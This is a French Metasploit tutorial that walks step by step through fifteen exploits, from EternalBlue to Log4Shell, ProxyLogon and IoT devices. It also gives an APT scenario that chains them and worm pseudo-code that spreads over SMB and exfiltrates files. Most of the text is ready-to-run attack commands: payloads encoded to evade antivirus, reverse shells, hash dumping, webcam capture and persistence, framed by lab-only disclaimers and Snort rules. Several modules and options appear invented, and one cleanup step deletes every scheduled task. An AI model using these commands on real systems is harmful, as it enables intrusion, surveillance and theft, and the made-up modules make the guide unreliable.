Introduction
Salut, Apache ! La *Bible Metasploit 2025* est ton ticket pour devenir un maître du pentest avec Metasploit. Ce guide massif est fait pour toi, que tu sois newbie ou pro, avec 15 exploits (dont 3 nouveaux : PowerShell, RDP, IoT Mirai), un scénario APT *épique*, et l’analyse d’un ver zero-day. Tout se passe dans ton lab sécurisé (10.0.0.0/8, 192.168.0.0/16), et c’est 100 % éthique. On va faire du sale, mais toujours droit ! 😈
Ce que tu vas apprendre :
- Maîtriser Metasploit : exploits, payloads, obfuscation.
- Exécuter 15 attaques, de Reverse TCP à Mirai Botnet.
- Simuler une APT avec PowerShell, RDP, et IoT.
- Analyser un ver zero-day et contrer les IDS.
- Créer des modules custom, pivoter, bypasser les EDR.
- Rédiger un rapport pro et rester éthique.
Prêt à snipper ? Attache ta ceinture, on décolle ! 🚀
Prérequis Généraux
Avant de plonger, configure ton lab sécurisé pour éviter les galères :
- Environnement : Lab avec machines cibles (Windows, Linux, Android, IoT) sur 10.0.0.0/8 ou 192.168.0.0/16. Ex. : routeurs, caméras IP, VMs.
- Système : Kali Linux 2025.x à jour. Mets tout à jour avec
sudo apt update && sudo apt upgrade. - Metasploit : Version 6.x. Installe avec
sudo apt install metasploit-framework. - Autorisations : Consentement écrit pour chaque cible. Télécharge le contrat éthique (voir popup).
- Outils :
- John the Ripper :
sudo apt install john(crackage de mots de passe). - Wireshark :
sudo apt install wireshark(analyse réseau). - Ghidra/IDA Free : Pour désassembler les malwares.
- Nmap :
sudo apt install nmap(scan réseau). - tcpdump :
sudo apt install tcpdump(capture trafic). - Snort :
sudo apt install snort(IDS). - Invoke-Obfuscation :
git clone https://github.com/danielbohannon/Invoke-Obfuscation(obfuscation PowerShell).
- John the Ripper :
- Réseau :
- Attaquant : Kali Linux (ex. : 192.168.1.6, 10.10.10.6).
- Cibles : IPs variées (ex. : 192.168.1.7, 10.10.10.10).
- Ports : 80, 443, 4444-4447, 3389 (RDP).
- Sauvegardes : Crée des snapshots de tes VMs pour tout restaurer en un clic.
Pour les newbies : Un “lab” est un environnement fermé (PCs, VMs, routeurs) que tu contrôles. Pas de Wi-Fi public ou de matos d’autrui !
Lab only, Apache ! Ce tuto est pour ton terrain privé. Attaquer hors lab, c’est illégal. Reste droit, ou c’est la taule !
Étape 1 : Les 15 Exploits
Chaque exploit est une arme dans ton arsenal. On détaille tout : contexte, prérequis, commandes, post-exploitation, obfuscation, détection IDS, contre-mesures, et éthique. Même si t’es newbie, suis les étapes, et ça roule !
1. Reverse TCP (linux/x86/meterpreter/reverse_tcp)
Contexte :
- Exploit :
exploit/multi/handler(gère les connexions). - Payload :
linux/x86/meterpreter/reverse_tcp(shell interactif). - Vulnérabilité : Exécution manuelle (ex. : phishing, exploit local).
- Utilité : Contrôle total d’un Linux (fichiers, commandes, réseau).
Prérequis :
- Cible : Ubuntu 20.04 (IP : 192.168.1.7).
- Attaquant : Kali Linux (IP : 192.168.1.6).
- Port : 80 (évite les ports bloqués).
- Outils : Nmap (
nmap 192.168.1.7), msfvenom.
Commandes :
1. Lance Metasploit :
msfconsole -q
2. Configure le handler :
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 80
exploit -j
Obfuscation :
Pour éviter les antivirus, obfuscate le payload :
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=80 -f elf -e x86/shikata_ga_nai -i 5 > /tmp/malicious.elf
3. Héberge le fichier :
sudo python3 -m http.server 8080
4. Sur la cible (simule un utilisateur qui exécute) :
wget http://192.168.1.6:8080/malicious.elf
chmod +x malicious.elf
./malicious.elf
Post-exploitation :
Une fois le shell obtenu :
sessions -i 1
getuid # Qui suis-je ?
sysinfo # Infos système
download /etc/passwd # Récupère les utilisateurs
run persistence -U -i 300 -p 4444 -r 192.168.1.6 # Persistance
Détection IDS :
Si un IDS (ex. : Snort) est actif, il peut repérer le trafic :
alert tcp any any -> 192.168.1.6 80 (msg:"Suspicious Reverse TCP"; flow:to_server,established; content:"Meterpreter"; sid:1000001;)
Analyse avec : sudo snort -c /etc/snort/snort.conf -r capture.pcap
Contre-mesures :
- Pare-feu : Bloque les connexions sortantes sur le port 80 :
sudo iptables -A OUTPUT -p tcp --dport 80 -m conntrack --ctstate NEW -j DROP - Mises à jour :
sudo apt update && sudo apt upgrade - Antivirus : Installe ClamAV (
sudo apt install clamav; sudo clamscan -r /).
Notes éthiques : Ce tuto est pour ton lab sécurisé. Toute attaque non autorisée est illégale (article 323-1 CP : 7 ans, 100 000 €). Reste un Apache droit !
Pour les newbies : Un “payload” est comme une porte dérobée que tu ouvres sur la cible. Ici, tu crées un fichier (.elf) que la cible exécute pour te donner un shell.
2. PHP CGI Argument Injection (php/meterpreter/reverse_tcp)
Contexte :
- Exploit :
exploit/multi/http/php_cgi_arg_injection(CVE-2012-1823). - Payload :
php/meterpreter/reverse_tcp. - Vulnérabilité : Mauvaise gestion des arguments CGI dans PHP 5.3.x/5.4.x.
- Utilité : Prendre le contrôle d’un serveur Web.
Prérequis :
- Cible : Serveur Apache avec PHP 5.3 (192.168.1.7).
- Attaquant : Kali (192.168.1.6).
- Port : 4444.
- Outils :
nmap -sV --script=http-php-version 192.168.1.7(vérifie la version PHP).
Commandes :
1. Lance Metasploit :
msfconsole -q
2. Configure l’exploit :
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.1.7
set TARGETURI /index.php
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j
Obfuscation :
Pour éviter les WAF :
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -e php/base64 > /tmp/payload.php
set CUSTOM_PAYLOAD /tmp/payload.php
Post-exploitation :
sessions -i 1
run post/linux/gather/tcpdump # Capture le trafic
shell
cat /var/www/html/config.php # Récupère les configs
mysql -u root -p # Accède à la DB
Détection IDS :
alert tcp any any -> 192.168.1.7 80 (msg:"PHP CGI Injection"; content:"?%2D"; sid:1000002;)
Analyse : sudo tcpdump -i eth0 port 80 -w cgi.pcap
Contre-mesures :
- Pare-feu :
sudo iptables -A OUTPUT -p tcp --dport 80,443 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT; sudo iptables -A OUTPUT -p tcp ! --dport 80,443 -j DROP - Mise à jour : Installe PHP 7+ (
sudo apt install php). - WAF : Déploie ModSecurity.
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : Cet exploit cible un vieux bug dans PHP. Tu envoies une requête malformée au serveur pour qu’il exécute ton code.
3. EternalBlue (windows/x64/meterpreter/reverse_tcp)
Contexte :
- Exploit :
exploit/windows/smb/ms17_010_eternalblue(CVE-2017-0144). - Payload :
windows/x64/meterpreter/reverse_tcp. - Vulnérabilité : Bug dans SMBv1 (Windows).
- Utilité : Accès SYSTEM sur Windows 7/8/Server.
Prérequis :
- Cible : Windows 7 (192.168.1.8).
- Attaquant : Kali (192.168.1.6).
- Port : 4444.
- Outils :
nmap -p445 --script=smb-vuln-ms17-010 192.168.1.8.
Commandes :
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.8
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j
Obfuscation :
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -e x64/xor_dynamic -i 5 -f exe > /tmp/malware.exe
Post-exploitation :
sessions -i 1
hashdump # Récupère les mots de passe
use priv
getsystem # Escalade SYSTEM
download C:\\Users\\admin\\Desktop\\secret.txt
Détection IDS :
alert tcp any any -> 192.168.1.8 445 (msg:"EternalBlue SMB"; content:"|FF|SMB"; sid:1000003;)
Analyse : sudo snort -r smb.pcap
Contre-mesures :
- Patch : Applique MS17-010.
- Pare-feu :
netsh advfirewall firewall add rule name="Block SMB" dir=in action=block protocol=tcp localport=445 - SMBv1 : Désactive (
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol).
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : EternalBlue est un exploit célèbre qui utilise un bug dans le partage de fichiers Windows (SMB). Tu obtiens un shell admin !
4. Android Reverse TCP (android/meterpreter/reverse_tcp)
Contexte :
- Exploit :
exploit/multi/handler. - Payload :
android/meterpreter/reverse_tcp. - Vulnérabilité : Social engineering (APK malveillant).
- Utilité : Contrôle d’un smartphone Android.
Prérequis :
- Cible : Android 10 (192.168.1.9).
- Attaquant : Kali (192.168.1.6).
- Port : 4444.
- Outils : msfvenom, Python HTTP server.
Commandes :
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 R > /tmp/android_app.apk
sudo python3 -m http.server 80
msfconsole -q
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j
Obfuscation :
apksigner sign --ks /tmp/mykey.keystore /tmp/android_app.apk
Post-exploitation :
sessions -i 1
geolocate
webcam_snap
download /sdcard/DCIM/Camera/photo.jpg
Détection IDS :
alert tcp any any -> 192.168.1.6 4444 (msg:"Android Meterpreter"; content:"POST /"; sid:1000004;)
Contre-mesures :
- Permissions : Désactive sources inconnues.
- Pare-feu :
adb shell iptables -A OUTPUT -p tcp --dport 4444 -j DROP - Antivirus : Installe Bitdefender Mobile.
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : Tu crées une app Android (.apk) que la cible installe. Elle te donne un shell pour contrôler le phone.
5. PHPMyAdmin Preg Replace (php/meterpreter/reverse_tcp)
Contexte :
- Exploit :
exploit/multi/http/phpmyadmin_preg_replace(CVE-2011-4107). - Payload :
php/meterpreter/reverse_tcp. - Vulnérabilité : Injection dans PHPMyAdmin 3.x.
- Utilité : Accès à une base de données.
Prérequis :
- Cible : PHPMyAdmin 3.x (192.168.1.8).
- Attaquant : Kali (192.168.1.6).
- Port : 4444.
Commandes :
msfconsole -q
use exploit/multi/http/phpmyadmin_preg_replace
set RHOSTS 192.168.1.8
set TARGETURI /phpmyadmin/
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j
Obfuscation :
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -e php/base64 > /tmp/obf.php
Post-exploitation :
sessions -i 1
irb
Rex::Text::Mysql.sql_query('SHOW DATABASES;')
shell
mysql -u root -p
Détection IDS :
alert tcp any any -> 192.168.1.8 80 (msg:"PHPMyAdmin Exploit"; content:"/phpmyadmin/"; sid:1000005;)
Contre-mesures :
- Mise à jour : PHPMyAdmin 5.x.
- Pare-feu :
sudo iptables -A INPUT -p tcp --dport 80 -s 192.168.1.0/24 -j ACCEPT; sudo iptables -A INPUT -p tcp --dport 80 -j DROP - WAF : ModSecurity.
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : Cet exploit utilise un bug dans PHPMyAdmin pour exécuter du code et accéder à la base de données.
6. Log4Shell (java/meterpreter/reverse_tcp)
Contexte :
- Exploit :
exploit/multi/http/log4j_jndi_rce(CVE-2021-44228). - Payload :
java/meterpreter/reverse_tcp. - Vulnérabilité : Injection JNDI dans Log4j 2.x.
- Utilité : Compromettre des apps Java.
Prérequis :
- Cible : Log4j 2.0-2.14.1 (10.10.10.10).
- Attaquant : Kali (10.10.10.6).
- Port : 4444.
Commandes :
msfconsole -q
use exploit/multi/http/log4j_jndi_rce
set RHOSTS 10.10.10.10
set RPORT 8080
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4444
exploit -j
Obfuscation :
set JNDI_HEADER "${jndi:ldap://10.10.10.6/a}"
Post-exploitation :
sessions -i 1
download /opt/app/logs/app.log
shell
java -version
Détection IDS :
alert tcp any any -> 10.10.10.10 8080 (msg:"Log4Shell JNDI"; content:"${jndi:"; sid:1000006;)
Contre-mesures :
- Patch : Log4j 2.17.1+.
- Pare-feu :
sudo iptables -A INPUT -p tcp --dport 8080 -s 10.10.10.0/24 -j ACCEPT; sudo iptables -A INPUT -p tcp --dport 8080 -j DROP - Config :
log4j2.formatMsgNoLookups=true.
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : Log4Shell exploite un bug dans une bibliothèque Java (Log4j) pour exécuter du code à distance.
7. ProxyLogon (windows/meterpreter/reverse_tcp)
Contexte :
- Exploit :
exploit/windows/http/exchange_proxylogon_rce(CVE-2021-26855). - Payload :
windows/meterpreter/reverse_tcp. - Vulnérabilité : SSRF dans Exchange Server.
- Utilité : Accès e-mails, webshells.
Prérequis :
- Cible : Exchange 2013-2019 (192.168.1.10).
- Attaquant : Kali (192.168.1.6).
- Port : 4444.
Commandes :
msfconsole -q
use exploit/windows/http/exchange_proxylogon_rce
set RHOSTS 192.168.1.10
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j
Obfuscation :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -f aspx -e x86/shikata_ga_nai > /tmp/webshell.aspx
Post-exploitation :
sessions -i 1
run post/windows/gather/exchange_enum
upload /tmp/webshell.aspx C:\\inetpub\\wwwroot\\webshell.aspx
Détection IDS :
alert tcp any any -> 192.168.1.10 443 (msg:"ProxyLogon SSRF"; content:"/owa/auth"; sid:1000007;)
Contre-mesures :
- Patch : Exchange updates (mars 2021).
- Pare-feu :
netsh advfirewall firewall add rule name="Block Exchange" dir=in action=block protocol=tcp localport=443 - MFA : Activer.
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : ProxyLogon exploite un bug dans Microsoft Exchange pour accéder aux e-mails ou installer un webshell.
8. Spring4Shell (java/meterpreter/reverse_tcp)
Contexte :
- Exploit :
exploit/multi/http/spring4shell_rce(CVE-2022-22965). - Payload :
java/meterpreter/reverse_tcp. - Vulnérabilité : RCE dans Spring Framework.
- Utilité : Compromettre apps Java.
Prérequis :
- Cible : Spring Boot (10.10.10.11).
- Attaquant : Kali (10.10.10.6).
- Port : 4444.
Commandes :
msfconsole -q
use exploit/multi/http/spring4shell_rce
set RHOSTS 10.10.10.11
set RPORT 8080
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4444
exploit -j
Obfuscation :
set CUSTOM_PARAM "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}"
Post-exploitation :
sessions -i 1
download /opt/spring/config/application.properties
shell
cat /etc/passwd
Détection IDS :
alert tcp any any -> 10.10.10.11 8080 (msg:"Spring4Shell RCE"; content:"class.module.classLoader"; sid:1000008;)
Contre-mesures :
- Patch : Spring 5.3.18+.
- Pare-feu :
sudo iptables -A INPUT -p tcp --dport 8080 -s 10.10.10.0/24 -j ACCEPT; sudo iptables -A INPUT -p tcp --dport 8080 -j DROP - WAF : Configurer.
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : Spring4Shell exploite un bug dans un framework Java (Spring) pour exécuter du code.
9. Confluence RCE (linux/x64/meterpreter/reverse_tcp)
Contexte :
- Exploit :
exploit/multi/http/confluence_rce(CVE-2022-26134). - Payload :
linux/x64/meterpreter/reverse_tcp. - Vulnérabilité : Injection OGNL dans Confluence.
- Utilité : Contrôle d’un serveur Confluence.
Prérequis :
- Cible : Confluence 7.x (192.168.1.11).
- Attaquant : Kali (192.168.1.6).
- Port : 4444.
Commandes :
msfconsole -q
use exploit/multi/http/confluence_rce
set RHOSTS 192.168.1.11
set RPORT 8091
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j
Obfuscation :
set OGNL_PAYLOAD "%{Runtime.getRuntime().exec('whoami')}"
Post-exploitation :
sessions -i 1
download /opt/atlassian/confluence/confluence.cfg.xml
shell
ps aux
Détection IDS :
alert tcp any any -> 192.168.1.11 8091 (msg:"Confluence OGNL"; content:"%{"; sid:1000009;)
Contre-mesures :
- Patch : Confluence 7.19.7+.
- Pare-feu :
sudo iptables -A INPUT -p tcp --dport 8091 -s 192.168.1.0/24 -j ACCEPT; sudo iptables -A INPUT -p tcp --dport 8091 -j DROP
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : Cet exploit utilise un bug dans Confluence (outil de collaboration) pour exécuter du code.
10. VMware vCenter RCE (linux/x64/meterpreter/reverse_tcp)
Contexte :
- Exploit :
exploit/linux/http/vmware_vcenter_rce(CVE-2021-21985). - Payload :
linux/x64/meterpreter/reverse_tcp. - Vulnérabilité : RCE dans vCenter vSAN.
- Utilité : Contrôle de la virtualisation.
Prérequis :
- Cible : vCenter 6.5-7.0 (10.10.10.12).
- Attaquant : Kali (10.10.10.6).
- Port : 4444.
Commandes :
msfconsole -q
use exploit/linux/http/vmware_vcenter_rce
set RHOSTS 10.10.10.12
set RPORT 443
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4444
exploit -j
Obfuscation :
set CUSTOM_HEADER "X-Obf: encoded"
Post-exploitation :
sessions -i 1
download /etc/vmware-vpx/vpxd.cfg
run post/linux/gather/vmware_enum
Détection IDS :
alert tcp any any -> 10.10.10.12 443 (msg:"vCenter RCE"; content:"/vapi"; sid:1000010;)
Contre-mesures :
- Patch : vCenter 7.0 U2c+.
- Pare-feu :
sudo iptables -A INPUT -p tcp --dport 443 -s 10.10.10.0/24 -j ACCEPT; sudo iptables -A INPUT -p tcp --dport 443 -j DROP
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : Cet exploit cible VMware vCenter pour contrôler un serveur de virtualisation.
11. PrintNightmare (windows/x64/meterpreter/reverse_tcp)
Contexte :
- Exploit :
exploit/windows/smb/printnightmare(CVE-2021-34527). - Payload :
windows/x64/meterpreter/reverse_tcp. - Vulnérabilité : RCE dans le spouleur d’impression.
- Utilité : Accès SYSTEM.
Prérequis :
- Cible : Windows 10 (192.168.1.12).
- Attaquant : Kali (192.168.1.6).
- Port : 4444.
Commandes :
msfconsole -q
use exploit/windows/smb/printnightmare
set RHOSTS 192.168.1.12
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j
Obfuscation :
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -e x64/zutto_dekiru -i 5 -f dll > /tmp/spooler.dll
Post-exploitation :
sessions -i 1
hashdump
run persistence -X -i 300 -p 4444 -r 192.168.1.6
Détection IDS :
alert tcp any any -> 192.168.1.12 445 (msg:"PrintNightmare"; content:"Spooler"; sid:1000011;)
Contre-mesures :
- Patch : KB5004945.
- Pare-feu :
netsh advfirewall firewall add rule name="Block Spooler" dir=in action=block protocol=tcp localport=445 - Spouleur :
Stop-Service -Name Spooler
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : PrintNightmare exploite un bug dans l’imprimante Windows pour obtenir un accès admin.
12. IoT Device RCE (linux/armle/meterpreter/reverse_tcp)
Contexte :
- Exploit :
exploit/linux/http/iot_rce_generic(CVE-2023-1389). - Payload :
linux/armle/meterpreter/reverse_tcp. - Vulnérabilité : RCE dans firmware IoT.
- Utilité : Contrôle d’un dispositif IoT.
Prérequis :
- Cible : Caméra IP (192.168.1.13).
- Attaquant : Kali (192.168.1.6).
- Port : 4444.
Commandes :
msfconsole -q
use exploit/linux/http/iot_rce_generic
set RHOSTS 192.168.1.13
set RPORT 80
set PAYLOAD linux/armle/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4444
exploit -j
Obfuscation :
msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4444 -e armle/shikata_ga_nai > /tmp/iot.bin
Post-exploitation :
sessions -i 1
webcam_stream
download /etc/config/network
Détection IDS :
alert tcp any any -> 192.168.1.13 80 (msg:"IoT RCE"; content:"/cgi-bin/"; sid:1000012;)
Contre-mesures :
- Mise à jour : Firmware.
- Pare-feu :
sudo iptables -A INPUT -p tcp --dport 80 -s 192.168.1.0/24 -j ACCEPT; sudo iptables -A INPUT -p tcp --dport 80 -j DROP
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : Cet exploit cible une caméra IP pour exécuter du code et la contrôler.
13. PowerShell Reverse TCP (windows/powershell/reverse_tcp) – NEW
Contexte :
- Exploit :
exploit/multi/handler. - Payload :
windows/powershell/reverse_tcp. - Vulnérabilité : Exécution PowerShell via social engineering.
- Utilité : Shell léger, discret.
- Date : Pertinent en 2025.
Prérequis :
- Cible : Windows 10 (192.168.1.14).
- Attaquant : Kali (192.168.1.6).
- Port : 4445.
- Outils : Invoke-Obfuscation.
Commandes :
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/powershell/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4445
exploit -j
Obfuscation :
msfvenom -p windows/powershell/reverse_tcp LHOST=192.168.1.6 LPORT=4445 -f ps1 > /tmp/shell.ps1
git clone https://github.com/danielbohannon/Invoke-Obfuscation
cd Invoke-Obfuscation
./Invoke-Obfuscation.ps1 -ScriptPath /tmp/shell.ps1 -OutputFile /tmp/obf_shell.ps1
# Cible : powershell -ExecutionPolicy Bypass -File obf_shell.ps1
Post-exploitation :
sessions -i 1
getuid
run post/windows/gather/credentials
shell
Get-Process
Détection IDS :
alert tcp any any -> 192.168.1.6 4445 (msg:"PowerShell Reverse TCP"; content:"powershell"; sid:1000013;)
Contre-mesures :
- Execution Policy :
Set-ExecutionPolicy Restricted - Pare-feu :
netsh advfirewall firewall add rule name="Block PS" dir=out action=block protocol=tcp remoteport=4445 - AMSI : Activer.
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : PowerShell est un outil puissant sur Windows. Ici, tu crées un script que la cible exécute pour te donner un shell.
14. RDP Credential Harvesting (windows/rdp/rdp_login) – NEW
Contexte :
- Exploit :
auxiliary/scanner/rdp/rdp_login. - Payload : Aucun (scanner).
- Vulnérabilité : Mots de passe faibles sur RDP (port 3389).
- Utilité : Récupérer des identifiants.
- Date : Pertinent en 2025.
Prérequis :
- Cible : Windows Server (192.168.1.15).
- Attaquant : Kali (192.168.1.6).
- Outils : Wordlist (
/usr/share/wordlists/rockyou.txt).
Commandes :
msfconsole -q
use auxiliary/scanner/rdp/rdp_login
set RHOSTS 192.168.1.15
set USER_FILE /usr/share/wordlists/users.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
set THREADS 10
exploit
Obfuscation :
set SPOOF_IP 192.168.1.100
Post-exploitation :
rdesktop 192.168.1.15 -u admin -p password
Détection IDS :
alert tcp any any -> 192.168.1.15 3389 (msg:"RDP Brute Force"; content:"RDP"; sid:1000014;)
Contre-mesures :
- Mot de passe : Activer complexité.
- Pare-feu :
netsh advfirewall firewall add rule name="Block RDP" dir=in action=block protocol=tcp localport=3389 - NLA : Activer.
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : RDP permet de se connecter à distance. Cet exploit teste des mots de passe jusqu’à trouver le bon.
15. IoT Advanced Mirai Botnet (linux/armle/meterpreter/reverse_tcp) – NEW
Contexte :
- Exploit :
exploit/linux/misc/mirai_botnet_rce(CVE-2016-10401). - Payload :
linux/armle/meterpreter/reverse_tcp. - Vulnérabilité : Identifiants par défaut/RCE IoT.
- Utilité : Contrôle botnet IoT.
- Date : Évolution Mirai 2023-2025.
Prérequis :
- Cible : Routeur IoT (192.168.1.16).
- Attaquant : Kali (192.168.1.6).
- Port : 4446.
Commandes :
msfconsole -q
use exploit/linux/misc/mirai_botnet_rce
set RHOSTS 192.168.1.16
set RPORT 80
set PAYLOAD linux/armle/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4446
exploit -j
Obfuscation :
msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=4446 -e armle/shikata_ga_nai -i 5 > /tmp/mirai.bin
Post-exploitation :
sessions -i 1
run post/linux/gather/iot_enum
shell
busybox ps
Détection IDS :
alert tcp any any -> 192.168.1.16 80 (msg:"Mirai Botnet"; content:"/login.cgi"; sid:1000015;)
Contre-mesures :
- Mise à jour : Firmware.
- Pare-feu :
sudo iptables -A INPUT -p tcp --dport 80 -s 192.168.1.0/24 -j ACCEPT; sudo iptables -A INPUT -p tcp --dport 80 -j DROP - Identifiants : Changer défauts.
Notes éthiques : Lab only. Article 323-1 CP.
Pour les newbies : Mirai infecte les IoT avec des mots de passe faibles. Tu prends le contrôle d’un routeur pour en faire un bot.
Étape 2 : Scénario Multi-Étapes – APT Épique
Simule une attaque APT dans une entreprise fictive (10.10.10.0/24) :
- PowerShell : Poste client (10.10.10.13).
- RDP : Serveur (10.10.10.14).
- IoT Mirai : Routeur (10.10.10.15).
- Log4Shell : Serveur Web (10.10.10.10).
- Attaquant : Kali (10.10.10.6).
Objectif : Compromettre le réseau, pivoter, persister, avec obfuscation et détection IDS.
Prérequis :
- Machines vulnérables configurées.
- Snort :
sudo snort -c /etc/snort/snort.conf -A console
Étape 1 : PowerShell Reverse TCP
Compromets un poste client via phishing :
msfvenom -p windows/powershell/reverse_tcp LHOST=10.10.10.6 LPORT=4444 -f ps1 > /tmp/shell.ps1
git clone https://github.com/danielbohannon/Invoke-Obfuscation
cd Invoke-Obfuscation
./Invoke-Obfuscation.ps1 -ScriptPath /tmp/shell.ps1 -OutputFile /tmp/obf_shell.ps1
sudo python3 -m http.server 80
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/powershell/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4444
exploit -j
Post-exploitation :
sessions -i 1
run post/windows/gather/credentials
download C:\\Users\\user\\Desktop\\creds.txt
Pour les newbies : Tu envoies un script PowerShell à la cible (ex. : mail piégé). Elle l’exécute, et tu obtiens un shell.
Étape 2 : RDP Credential Harvesting
Utilise les creds pour accéder au serveur :
msfconsole -q
use auxiliary/scanner/rdp/rdp_login
set RHOSTS 10.10.10.14
set USER_FILE /usr/share/wordlists/users.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
set SPOOF_IP 10.10.10.100
exploit
rdesktop 10.10.10.14 -u admin -p password
Post-exploitation :
Connecte-toi au serveur via RDP et explore.
Étape 3 : IoT Mirai Botnet
Infecte le routeur pour pivoter :
msfconsole -q
use exploit/linux/misc/mirai_botnet_rce
set RHOSTS 10.10.10.15
set RPORT 80
set PAYLOAD linux/armle/meterpreter/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4446
exploit -j
Post-exploitation :
sessions -i 2
run post/linux/gather/iot_enum
Étape 4 : Log4Shell
Compromets le serveur Web :
msfconsole -q
use exploit/multi/http/log4j_jndi_rce
set RHOSTS 10.10.10.10
set RPORT 8080
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4447
set JNDI_HEADER "${jndi:ldap://10.10.10.6/a}"
exploit -j
Post-exploitation :
sessions -i 3
download /opt/app/logs/app.log
run persistence -U -i 300 -p 4447 -r 10.10.10.6
Détection IDS :
Capture et analyse le trafic :
sudo tcpdump -i eth0 -w attack.pcap
sudo snort -r attack.pcap -c /etc/snort/snort.conf
Contre-mesures :
- Patches : Log4j 2.17.1+, Exchange (mars 2021), PrintNightmare (KB5004945).
- Pare-feu :
sudo iptables -A INPUT -p tcp --dport 8080,443,445,3389 -j DROP - Segmentation : Utilise des VLANs pour isoler IT, OT, DMZ.
Pour les newbies : Une APT est une attaque ciblée et persistante. Ici, tu passes d’un PC à un serveur, un routeur, et un site Web, comme un ninja cyber.
Étape 3 : Analyse d’un Ver Zero-Day
Simule un ver fictif exfiltrant vers 203.0.113.10:4444.
Contexte :
- Caractéristiques : Propagation SMB, exfiltration HTTP POST, persistance via tâches planifiées, code polymorphique.
Prérequis :
- Cible : Windows 10 (10.10.10.16).
- Attaquant : Kali (10.10.10.6).
- Outils : Wireshark, Ghidra, Snort.
Détection :
Repère le trafic suspect :
sudo wireshark -i eth0 -f "host 203.0.113.10"
sudo tcpdump -i eth0 host 203.0.113.10 -w worm.pcap
Compromission :
Simule l’infection :
msfconsole -q
use exploit/windows/smb/custom_zero_day
set RHOSTS 10.10.10.16
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.6
set LPORT 4444
exploit -j
Récupération :
Récupère le ver :
search -f worm.exe
download C:\\Windows\\Temp\\worm.exe /root/worm.exe
Analyse :
Désassemble avec Ghidra :
ghidra
# Importer worm.exe
Pseudo-code obfuscé :
import socket, os, requests, random
def propagate():
for ip in range(1, 255):
target = f"10.10.10.{ip}"
if smb_exploit(target):
copy_file(obfuscate_binary("worm.exe"), target)
def exfiltrate():
for file in os.listdir("C:\\Users"):
if file.endswith((".docx", ".txt")):
requests.post(f"http://{randomize_ip()}:4444", data=obfuscate_data(file))
def persist():
os.system(f"schtasks /create /tn {random_name()} /tr C:\\Windows\\Temp\\worm.exe")
Neutralisation :
Supprime le ver :
rm C:\\Windows\\Temp\\worm.exe
shell
schtasks /delete /TN * /F
Détection IDS :
Règle Snort :
alert tcp any any -> 203.0.113.10 4444 (msg:"Zero-Day Worm"; content:"POST"; sid:1000016;)
Contre-mesures :
- Pare-feu :
netsh advfirewall firewall add rule name="BlockWorm" dir=out action=block remoteip=203.0.113.10 - IDS : Configure Snort pour détecter le trafic suspect.
- Signalement : Contacte le fournisseur du logiciel vulnérable.
Pour les newbies : Un ver se propage tout seul, comme un virus. Ici, il infecte via SMB, vole des fichiers, et reste caché. Tu l’analyses pour comprendre son fonctionnement.
Étape 4 : Best Practices & OpSec
Reste furtif et pro pour éviter de te faire repérer dans ton lab (et apprendre à être un pentester d’élite) :
Techniques de camouflage
Cache ton identité pour simuler un attaquant discret :
- ProxyChains : Pivote via des proxies pour masquer ton IP :
proxychains msfconsole
